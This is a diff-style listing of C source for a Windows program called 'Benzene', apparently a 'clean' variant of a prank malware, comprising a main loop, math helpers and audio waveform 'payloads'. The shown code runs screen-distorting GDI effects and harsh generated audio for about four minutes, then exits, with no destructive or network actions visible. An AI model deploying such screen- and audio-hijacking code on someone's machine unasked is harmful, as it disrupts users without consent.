pGdiShaders[1] = (GDI_SHADER_PARAMS){ GdiShader2, NULL, PostGdiShader2 };
|
| 86 |
+
pGdiShaders[2] = (GDI_SHADER_PARAMS){ GdiShader3, NULL, PostGdiShader3 };
|
| 87 |
+
pGdiShaders[3] = (GDI_SHADER_PARAMS){ GdiShader4, NULL, PostGdiShader2 };
|
| 88 |
+
pGdiShaders[4] = (GDI_SHADER_PARAMS){ GdiShader5, NULL, PostGdiShader4 };
|
| 89 |
+
pGdiShaders[5] = (GDI_SHADER_PARAMS){ GdiShader6, NULL, PostGdiShader2 };
|
| 90 |
+
pGdiShaders[6] = (GDI_SHADER_PARAMS){ GdiShader7, NULL, PostGdiShader5 };
|
| 91 |
+
pGdiShaders[7] = (GDI_SHADER_PARAMS){ GdiShader8, PreGdiShader1, PostGdiShader6 };
|
| 92 |
+
pGdiShaders[8] = (GDI_SHADER_PARAMS){ GdiShader9, NULL, NULL };
|
| 93 |
+
pGdiShaders[9] = (GDI_SHADER_PARAMS){ GdiShader10, NULL, NULL };
|
| 94 |
+
pGdiShaders[10] = (GDI_SHADER_PARAMS){ GdiShader11, NULL, NULL };
|
| 95 |
+
pGdiShaders[11] = (GDI_SHADER_PARAMS){ GdiShader12, NULL, NULL };
|
| 96 |
+
pGdiShaders[12] = (GDI_SHADER_PARAMS){ GdiShader13, NULL, NULL };
|
| 97 |
+
pGdiShaders[13] = (GDI_SHADER_PARAMS){ GdiShader14, NULL, PostGdiShader2 };
|
| 98 |
+
pGdiShaders[14] = (GDI_SHADER_PARAMS){ GdiShader15, NULL, NULL };
|
| 99 |
+
pGdiShaders[15] = (GDI_SHADER_PARAMS){ GdiShader16, NULL, NULL };
|
| 100 |
+
pGdiShaders[16] = (GDI_SHADER_PARAMS){ GdiShader17, NULL, NULL };
|
| 101 |
+
pGdiShaders[17] = (GDI_SHADER_PARAMS){ GdiShader18, NULL, NULL };
|
| 102 |
+
pGdiShaders[18] = (GDI_SHADER_PARAMS){ GdiShader19, NULL, NULL };
|
| 103 |
+
pGdiShaders[19] = (GDI_SHADER_PARAMS){ GdiShader20, NULL, PostGdiShader2 };
|
| 104 |
+
pGdiShaders[20] = (GDI_SHADER_PARAMS){ GdiShader21, NULL, PostGdiShader2 };
|
| 105 |
+
pGdiShaders[21] = (GDI_SHADER_PARAMS){ GdiShader22, NULL, PostGdiShader3 };
|
| 106 |
+
pGdiShaders[22] = (GDI_SHADER_PARAMS){ GdiShader23 , NULL, NULL };
|
| 107 |
+
pGdiShaders[23] = (GDI_SHADER_PARAMS){ GdiShader24 , NULL, NULL };
|
| 108 |
+
pGdiShaders[24] = (GDI_SHADER_PARAMS){ FinalGdiShader, NULL, NULL };
|
| 109 |
+
|
| 110 |
+
hAudioThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioPayloadThread, NULL, 0, NULL);
|
| 111 |
+
|
| 112 |
+
for (;; )
|
| 113 |
+
{
|
| 114 |
+
hGdiThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[Xorshift32() % 24], 0, NULL);
|
| 115 |
+
WaitForSingleObject(hGdiThread, (Xorshift32() % 3) ? PAYLOAD_MS : ((Xorshift32() % 5) * (PAYLOAD_MS / 4)));
|
| 116 |
+
CloseHandle(hGdiThread);
|
| 117 |
+
|
| 118 |
+
if (nCounter >= ((240 * 1000) / TIMER_DELAY))
|
| 119 |
+
{
|
| 120 |
+
break;
|
| 121 |
+
}
|
| 122 |
+
}
|
| 123 |
+
|
| 124 |
+
TerminateThread(hAudioThread, 0);
|
| 125 |
+
CloseHandle(hAudioThread);
|
| 126 |
+
|
| 127 |
+
TerminateThread(hCursorDraw, 0);
|
| 128 |
+
CloseHandle(hCursorDraw);
|
| 129 |
+
|
| 130 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[24], 0, NULL));
|
| 131 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioSequenceThread, &pAudioSequences[24], 0, NULL));
|
| 132 |
+
|
| 133 |
+
for (;; )
|
| 134 |
+
{
|
| 135 |
+
ExitProcess(0);
|
| 136 |
+
}
|
| 137 |
+
}
|
src/Benzene-main/Clean/Benzene/math.c
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
DWORD xs;
|
| 4 |
+
static FLOAT pfSinVals[ 4096 ];
|
| 5 |
+
|
| 6 |
+
VOID
|
| 7 |
+
SeedXorshift32(
|
| 8 |
+
_In_ DWORD dwSeed
|
| 9 |
+
)
|
| 10 |
+
{
|
| 11 |
+
xs = dwSeed;
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
DWORD
|
| 15 |
+
Xorshift32( VOID )
|
| 16 |
+
{
|
| 17 |
+
xs ^= xs << 13;
|
| 18 |
+
xs ^= xs >> 17;
|
| 19 |
+
xs ^= xs << 5;
|
| 20 |
+
return xs;
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
VOID
|
| 24 |
+
Reflect2D(
|
| 25 |
+
_Inout_ PINT x,
|
| 26 |
+
_Inout_ PINT y,
|
| 27 |
+
_In_ INT w,
|
| 28 |
+
_In_ INT h
|
| 29 |
+
)
|
| 30 |
+
{
|
| 31 |
+
#define FUNCTION(v, maxv) ( abs( v ) / ( maxv ) % 2 ? ( maxv ) - abs( v ) % ( maxv ) : abs( v ) % ( maxv ) );
|
| 32 |
+
*x = FUNCTION( *x, w - 1 );
|
| 33 |
+
*y = FUNCTION( *y, h - 1 );
|
| 34 |
+
#undef FUNCTION
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
FLOAT
|
| 38 |
+
FastSine(
|
| 39 |
+
_In_ FLOAT f
|
| 40 |
+
)
|
| 41 |
+
{
|
| 42 |
+
INT i = ( INT )( f / ( 2.f * PI ) * ( FLOAT )_countof( pfSinVals ) );
|
| 43 |
+
return pfSinVals[ i % _countof( pfSinVals ) ];
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
FLOAT
|
| 47 |
+
FastCosine(
|
| 48 |
+
_In_ FLOAT f
|
| 49 |
+
)
|
| 50 |
+
{
|
| 51 |
+
return FastSine( f + PI / 2.f );
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
VOID
|
| 55 |
+
InitializeSine( VOID )
|
| 56 |
+
{
|
| 57 |
+
for ( INT i = 0; i < _countof( pfSinVals ); i++ )
|
| 58 |
+
pfSinVals[ i ] = sinf( ( FLOAT )i / ( FLOAT )_countof( pfSinVals ) * PI * 2.f );
|
| 59 |
+
}
|
src/Benzene-main/Clean/Benzene/math.h
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
#define PI 3.141592f
|
| 5 |
+
|
| 6 |
+
VOID
|
| 7 |
+
SeedXorshift32(
|
| 8 |
+
_In_ DWORD dwSeed
|
| 9 |
+
);
|
| 10 |
+
|
| 11 |
+
DWORD
|
| 12 |
+
Xorshift32( VOID );
|
| 13 |
+
|
| 14 |
+
VOID
|
| 15 |
+
Reflect2D(
|
| 16 |
+
_Inout_ PINT x,
|
| 17 |
+
_Inout_ PINT y,
|
| 18 |
+
_In_ INT w,
|
| 19 |
+
_In_ INT h
|
| 20 |
+
);
|
| 21 |
+
|
| 22 |
+
VOID
|
| 23 |
+
InitializeSine( VOID );
|
| 24 |
+
|
| 25 |
+
FLOAT
|
| 26 |
+
FastSine(
|
| 27 |
+
_In_ FLOAT f
|
| 28 |
+
);
|
| 29 |
+
|
| 30 |
+
FLOAT
|
| 31 |
+
FastCosine(
|
| 32 |
+
_In_ FLOAT f
|
| 33 |
+
);
|
src/Benzene-main/Clean/Benzene/payloads.c
ADDED
|
@@ -0,0 +1,1918 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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 5 |
+
AudioPayloadThread(VOID)
|
| 6 |
+
{
|
| 7 |
+
for (;; )
|
| 8 |
+
{
|
| 9 |
+
INT piOrder[SYNTH_LENGTH];
|
| 10 |
+
INT nRandIndex;
|
| 11 |
+
INT nNumber;
|
| 12 |
+
|
| 13 |
+
for (INT i = 0; i < SYNTH_LENGTH; i++)
|
| 14 |
+
{
|
| 15 |
+
piOrder[i] = i;
|
| 16 |
+
}
|
| 17 |
+
|
| 18 |
+
for (INT i = 0; i < SYNTH_LENGTH; i++)
|
| 19 |
+
{
|
| 20 |
+
nRandIndex = Xorshift32() % 18;
|
| 21 |
+
nNumber = piOrder[nRandIndex];
|
| 22 |
+
piOrder[nRandIndex] = piOrder[i];
|
| 23 |
+
piOrder[i] = nNumber;
|
| 24 |
+
}
|
| 25 |
+
|
| 26 |
+
for (INT i = 0; i < SYNTH_LENGTH; i++)
|
| 27 |
+
{
|
| 28 |
+
ExecuteAudioSequence(
|
| 29 |
+
pAudioSequences[i].nSamplesPerSec,
|
| 30 |
+
pAudioSequences[i].nSampleCount,
|
| 31 |
+
pAudioSequences[i].pAudioSequence,
|
| 32 |
+
pAudioSequences[i].pPreAudioOp,
|
| 33 |
+
pAudioSequences[i].pPostAudioOp);
|
| 34 |
+
}
|
| 35 |
+
}
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
VOID
|
| 39 |
+
WINAPI
|
| 40 |
+
AudioSequenceThread(
|
| 41 |
+
_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
|
| 42 |
+
)
|
| 43 |
+
{
|
| 44 |
+
ExecuteAudioSequence(
|
| 45 |
+
pAudioParams->nSamplesPerSec,
|
| 46 |
+
pAudioParams->nSampleCount,
|
| 47 |
+
pAudioParams->pAudioSequence,
|
| 48 |
+
pAudioParams->pPreAudioOp,
|
| 49 |
+
pAudioParams->pPostAudioOp);
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
VOID
|
| 53 |
+
WINAPI
|
| 54 |
+
ExecuteAudioSequence(
|
| 55 |
+
_In_ INT nSamplesPerSec,
|
| 56 |
+
_In_ INT nSampleCount,
|
| 57 |
+
_In_ AUDIO_SEQUENCE pAudioSequence,
|
| 58 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPreAudioOp,
|
| 59 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPostAudioOp
|
| 60 |
+
)
|
| 61 |
+
{
|
| 62 |
+
HANDLE hHeap = GetProcessHeap();
|
| 63 |
+
PSHORT psSamples = HeapAlloc(hHeap, 0, nSampleCount * 2);
|
| 64 |
+
WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec * 2, 2, 16, 0 };
|
| 65 |
+
WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount * 2, 0, 0, 0, 0, NULL, 0 };
|
| 66 |
+
HWAVEOUT hWaveOut;
|
| 67 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
|
| 68 |
+
|
| 69 |
+
if (pPreAudioOp)
|
| 70 |
+
{
|
| 71 |
+
pPreAudioOp(nSamplesPerSec);
|
| 72 |
+
}
|
| 73 |
+
|
| 74 |
+
pAudioSequence(nSamplesPerSec, nSampleCount, psSamples);
|
| 75 |
+
|
| 76 |
+
if (pPostAudioOp)
|
| 77 |
+
{
|
| 78 |
+
pPostAudioOp(nSamplesPerSec);
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
|
| 82 |
+
waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
|
| 83 |
+
|
| 84 |
+
Sleep(nSampleCount * 1000 / nSamplesPerSec);
|
| 85 |
+
|
| 86 |
+
while (!(waveHdr.dwFlags & WHDR_DONE))
|
| 87 |
+
{
|
| 88 |
+
Sleep(1);
|
| 89 |
+
}
|
| 90 |
+
|
| 91 |
+
waveOutReset(hWaveOut);
|
| 92 |
+
waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
|
| 93 |
+
HeapFree(hHeap, 0, psSamples);
|
| 94 |
+
}
|
| 95 |
+
|
| 96 |
+
VOID
|
| 97 |
+
WINAPI
|
| 98 |
+
AudioSequence1(
|
| 99 |
+
_In_ INT nSamplesPerSec,
|
| 100 |
+
_In_ INT nSampleCount,
|
| 101 |
+
_Inout_ PSHORT psSamples
|
| 102 |
+
)
|
| 103 |
+
{
|
| 104 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 105 |
+
{
|
| 106 |
+
INT nFreq = (INT)(FastSine((FLOAT)t / 10.f) * 10.f + 29.f);
|
| 107 |
+
FLOAT fSine = FastSine((FLOAT)t / 10.f) * (FLOAT)nSamplesPerSec;
|
| 108 |
+
psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 5.f + fSine) * (FLOAT)SHRT_MAX * .1f) +
|
| 109 |
+
(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .2f);
|
| 110 |
+
}
|
| 111 |
+
}
|
| 112 |
+
|
| 113 |
+
VOID
|
| 114 |
+
WINAPI
|
| 115 |
+
AudioSequence2(
|
| 116 |
+
_In_ INT nSamplesPerSec,
|
| 117 |
+
_In_ INT nSampleCount,
|
| 118 |
+
_Inout_ PSHORT psSamples
|
| 119 |
+
)
|
| 120 |
+
{
|
| 121 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 122 |
+
|
| 123 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 124 |
+
{
|
| 125 |
+
BYTE bFreq = (BYTE)( t % 2 | t % 2) + (t & t >> 2) + (t * 42 & t >> 10) + ((t % ((t >> 8 | 50) + 1 | t >>0)));
|
| 126 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 127 |
+
}
|
| 128 |
+
}
|
| 129 |
+
|
| 130 |
+
VOID
|
| 131 |
+
WINAPI
|
| 132 |
+
AudioSequence3(
|
| 133 |
+
_In_ INT nSamplesPerSec,
|
| 134 |
+
_In_ INT nSampleCount,
|
| 135 |
+
_Inout_ PSHORT psSamples
|
| 136 |
+
)
|
| 137 |
+
{
|
| 138 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 139 |
+
|
| 140 |
+
INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
|
| 141 |
+
for (INT z = 0; z < nCubeRoot; z++)
|
| 142 |
+
{
|
| 143 |
+
for (INT y = 0; y < nCubeRoot; y++)
|
| 144 |
+
{
|
| 145 |
+
for (INT x = 0; x < nCubeRoot; x++)
|
| 146 |
+
{
|
| 147 |
+
INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
|
| 148 |
+
if (nIndex >= nSampleCount)
|
| 149 |
+
continue;
|
| 150 |
+
|
| 151 |
+
INT nFreq = (INT)((FLOAT)(y & z & x) * FastSine((FLOAT)(z * y * x) / 200.f));
|
| 152 |
+
psSamples[nIndex] =
|
| 153 |
+
(SHORT)(SquareWave(y + z * x, (nFreq % 300) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
|
| 154 |
+
(SHORT)(SawtoothWave(x | z, (150 - (nFreq % 20) / 4) + 800, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
|
| 155 |
+
(SHORT)(TriangleWave((FLOAT)(x & y & z) + (SquareWave(x + y, nFreq % 50, nSamplesPerSec) * nSamplesPerSec),
|
| 156 |
+
(nFreq % 50) / 10 + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f);
|
| 157 |
+
}
|
| 158 |
+
}
|
| 159 |
+
}
|
| 160 |
+
}
|
| 161 |
+
|
| 162 |
+
VOID
|
| 163 |
+
WINAPI
|
| 164 |
+
AudioSequence4(
|
| 165 |
+
_In_ INT nSamplesPerSec,
|
| 166 |
+
_In_ INT nSampleCount,
|
| 167 |
+
_Inout_ PSHORT psSamples
|
| 168 |
+
)
|
| 169 |
+
{
|
| 170 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 171 |
+
|
| 172 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 173 |
+
{
|
| 174 |
+
INT nFreq = (INT)(FastSine((FLOAT)t / (2.f - t / (nSampleCount / 340))) * 10.f + 50.f);
|
| 175 |
+
psSamples[t] = (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .1f);
|
| 176 |
+
}
|
| 177 |
+
}
|
| 178 |
+
|
| 179 |
+
VOID
|
| 180 |
+
WINAPI
|
| 181 |
+
AudioSequence5(
|
| 182 |
+
_In_ INT nSamplesPerSec,
|
| 183 |
+
_In_ INT nSampleCount,
|
| 184 |
+
_Inout_ PSHORT psSamples
|
| 185 |
+
)
|
| 186 |
+
{
|
| 187 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 188 |
+
|
| 189 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 190 |
+
{
|
| 191 |
+
SHORT sFreq = (SHORT)(t * (t >> (t >> 1 & t)));
|
| 192 |
+
psSamples[t] = sFreq;
|
| 193 |
+
}
|
| 194 |
+
}
|
| 195 |
+
|
| 196 |
+
VOID
|
| 197 |
+
WINAPI
|
| 198 |
+
AudioSequence6(
|
| 199 |
+
_In_ INT nSamplesPerSec,
|
| 200 |
+
_In_ INT nSampleCount,
|
| 201 |
+
_Inout_ PSHORT psSamples
|
| 202 |
+
)
|
| 203 |
+
{
|
| 204 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 205 |
+
|
| 206 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 207 |
+
{
|
| 208 |
+
BYTE bFreq = (BYTE)((t & ((t >> 18) + ((t >> 11) & 60))) * 100 + (((t >> 8 & t) - (t >> 3 & t >> 8 | t >> 16)) & 128));
|
| 209 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 210 |
+
}
|
| 211 |
+
}
|
| 212 |
+
|
| 213 |
+
VOID
|
| 214 |
+
WINAPI
|
| 215 |
+
AudioSequence7(
|
| 216 |
+
_In_ INT nSamplesPerSec,
|
| 217 |
+
_In_ INT nSampleCount,
|
| 218 |
+
_Inout_ PSHORT psSamples
|
| 219 |
+
)
|
| 220 |
+
{
|
| 221 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 222 |
+
|
| 223 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 224 |
+
{
|
| 225 |
+
BYTE bFreq = (BYTE)(t & 5 * t | t >> 6 | (t & 32768 - 6 * t / 7 | (t & 65536 - 9 * t & 100 | -9 * (t & 100)) / 11));
|
| 226 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 227 |
+
}
|
| 228 |
+
}
|
| 229 |
+
|
| 230 |
+
VOID
|
| 231 |
+
WINAPI
|
| 232 |
+
AudioSequence8(
|
| 233 |
+
_In_ INT nSamplesPerSec,
|
| 234 |
+
_In_ INT nSampleCount,
|
| 235 |
+
_Inout_ PSHORT psSamples
|
| 236 |
+
)
|
| 237 |
+
{
|
| 238 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 239 |
+
|
| 240 |
+
SHORT sRand = (SHORT)Xorshift32();
|
| 241 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 242 |
+
{
|
| 243 |
+
INT nRand = (nSampleCount - t * 2) / 52;
|
| 244 |
+
if (nRand < 24)
|
| 245 |
+
nRand = 24;
|
| 246 |
+
if (!(Xorshift32() % nRand))
|
| 247 |
+
{
|
| 248 |
+
sRand = (SHORT)Xorshift32();
|
| 249 |
+
}
|
| 250 |
+
psSamples[t] = (SHORT)(SawtoothWave(t, sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f)
|
| 251 |
+
& ~sRand | ((SHORT)Xorshift32() >> 2) +
|
| 252 |
+
(SHORT)(SineWave(Xorshift32() % nSampleCount, nRand ^ sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f) +
|
| 253 |
+
(SHORT)(TriangleWave(t, 20, nSampleCount) * (FLOAT)SHRT_MAX);
|
| 254 |
+
}
|
| 255 |
+
}
|
| 256 |
+
|
| 257 |
+
VOID
|
| 258 |
+
WINAPI
|
| 259 |
+
AudioSequence9(
|
| 260 |
+
_In_ INT nSamplesPerSec,
|
| 261 |
+
_In_ INT nSampleCount,
|
| 262 |
+
_Inout_ PSHORT psSamples
|
| 263 |
+
)
|
| 264 |
+
{
|
| 265 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 266 |
+
|
| 267 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 268 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 269 |
+
{
|
| 270 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 271 |
+
{
|
| 272 |
+
INT nIndex = y * nSquareRoot + x;
|
| 273 |
+
if (nIndex >= nSampleCount)
|
| 274 |
+
continue;
|
| 275 |
+
|
| 276 |
+
INT nFreq = (INT)((FLOAT)(y | x) * FastSine((FLOAT)(y * x) / 10.f));
|
| 277 |
+
psSamples[nIndex] =
|
| 278 |
+
(SHORT)(SquareWave(10 & x, (nFreq % 30) + 42, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 279 |
+
}
|
| 280 |
+
}
|
| 281 |
+
}
|
| 282 |
+
|
| 283 |
+
VOID
|
| 284 |
+
WINAPI
|
| 285 |
+
AudioSequence10(
|
| 286 |
+
_In_ INT nSamplesPerSec,
|
| 287 |
+
_In_ INT nSampleCount,
|
| 288 |
+
_Inout_ PSHORT psSamples
|
| 289 |
+
)
|
| 290 |
+
{
|
| 291 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 292 |
+
|
| 293 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 294 |
+
{
|
| 295 |
+
FLOAT w = powf(1.f, (FLOAT)(t >> 1 & t >> 20));
|
| 296 |
+
BYTE bFreq = (BYTE)((t << ((t >> 1 | t >> 1) ^ (t >> 13)) | (t >> 8 & t >> 1) * t >> 4) + ((t * (t >> 7 | t >> 10)) >> (t >> 18 & t)) + (t * t) / ((t ^ t >> 12) + 1) + ((1 / ((BYTE)w + 1) & t) > 1 ? (BYTE)w * t : -(BYTE)w * (t + 1)));
|
| 297 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 298 |
+
}
|
| 299 |
+
}
|
| 300 |
+
|
| 301 |
+
VOID
|
| 302 |
+
WINAPI
|
| 303 |
+
AudioSequence11(
|
| 304 |
+
_In_ INT nSamplesPerSec,
|
| 305 |
+
_In_ INT nSampleCount,
|
| 306 |
+
_Inout_ PSHORT psSamples
|
| 307 |
+
)
|
| 308 |
+
{
|
| 309 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 310 |
+
|
| 311 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 312 |
+
{
|
| 313 |
+
BYTE bFreq = (BYTE)((t * ((t >> 28 & t >> 13) >> (t >> 10 & t))) + ((t * (t >> 4 & t >> 3)) >> (t >> 20 & t)));
|
| 314 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 315 |
+
}
|
| 316 |
+
}
|
| 317 |
+
|
| 318 |
+
VOID
|
| 319 |
+
WINAPI
|
| 320 |
+
AudioSequence12(
|
| 321 |
+
_In_ INT nSamplesPerSec,
|
| 322 |
+
_In_ INT nSampleCount,
|
| 323 |
+
_Inout_ PSHORT psSamples
|
| 324 |
+
)
|
| 325 |
+
{
|
| 326 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 327 |
+
|
| 328 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 329 |
+
{
|
| 330 |
+
psSamples[t] = (SHORT)(TriangleWave(__rdtsc() % 8, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) |
|
| 331 |
+
(SHORT)(SquareWave(__rdtsc() % 8, 1000, nSampleCount) * (FLOAT)SHRT_MAX * .3f) + (SHORT)~t + ((SHORT)t >> 2);
|
| 332 |
+
}
|
| 333 |
+
}
|
| 334 |
+
|
| 335 |
+
VOID
|
| 336 |
+
WINAPI
|
| 337 |
+
AudioSequence13(
|
| 338 |
+
_In_ INT nSamplesPerSec,
|
| 339 |
+
_In_ INT nSampleCount,
|
| 340 |
+
_Inout_ PSHORT psSamples
|
| 341 |
+
)
|
| 342 |
+
{
|
| 343 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 344 |
+
|
| 345 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 346 |
+
{
|
| 347 |
+
psSamples[t] = (SHORT)(SawtoothWave(__rdtsc() % 1500, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) ^
|
| 348 |
+
((SHORT)(SawtoothWave(t % 10, t % 1000, nSampleCount) * (FLOAT)SHRT_MAX * .1f) >> 8);
|
| 349 |
+
}
|
| 350 |
+
}
|
| 351 |
+
|
| 352 |
+
VOID
|
| 353 |
+
WINAPI
|
| 354 |
+
AudioSequence14(
|
| 355 |
+
_In_ INT nSamplesPerSec,
|
| 356 |
+
_In_ INT nSampleCount,
|
| 357 |
+
_Inout_ PSHORT psSamples
|
| 358 |
+
)
|
| 359 |
+
{
|
| 360 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 361 |
+
|
| 362 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 363 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 364 |
+
{
|
| 365 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 366 |
+
{
|
| 367 |
+
INT nIndex = y * nSquareRoot + x;
|
| 368 |
+
if (nIndex >= nSampleCount)
|
| 369 |
+
continue;
|
| 370 |
+
|
| 371 |
+
INT nFreq = (INT)((FLOAT)(y | x) * FastCosine((FLOAT)(y & x) / 10.f));
|
| 372 |
+
psSamples[nIndex] = (SHORT)(SineWave(y + x, (nFreq % 100) + 1000, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 373 |
+
}
|
| 374 |
+
}
|
| 375 |
+
}
|
| 376 |
+
|
| 377 |
+
VOID
|
| 378 |
+
WINAPI
|
| 379 |
+
AudioSequence15(
|
| 380 |
+
_In_ INT nSamplesPerSec,
|
| 381 |
+
_In_ INT nSampleCount,
|
| 382 |
+
_Inout_ PSHORT psSamples
|
| 383 |
+
)
|
| 384 |
+
{
|
| 385 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 386 |
+
|
| 387 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 388 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 389 |
+
{
|
| 390 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 391 |
+
{
|
| 392 |
+
INT nIndex = y * nSquareRoot + x;
|
| 393 |
+
if (nIndex >= nSampleCount)
|
| 394 |
+
continue;
|
| 395 |
+
|
| 396 |
+
INT nFreq = (INT)((FLOAT)(y - x) * FastCosine((FLOAT)(y * x) / 10.f));
|
| 397 |
+
psSamples[nIndex] = (SHORT)(SineWave(y % (x + 1), (nFreq % 100) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 398 |
+
}
|
| 399 |
+
}
|
| 400 |
+
}
|
| 401 |
+
|
| 402 |
+
VOID
|
| 403 |
+
WINAPI
|
| 404 |
+
AudioSequence16(
|
| 405 |
+
_In_ INT nSamplesPerSec,
|
| 406 |
+
_In_ INT nSampleCount,
|
| 407 |
+
_Inout_ PSHORT psSamples
|
| 408 |
+
)
|
| 409 |
+
{
|
| 410 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 411 |
+
|
| 412 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 413 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 414 |
+
{
|
| 415 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 416 |
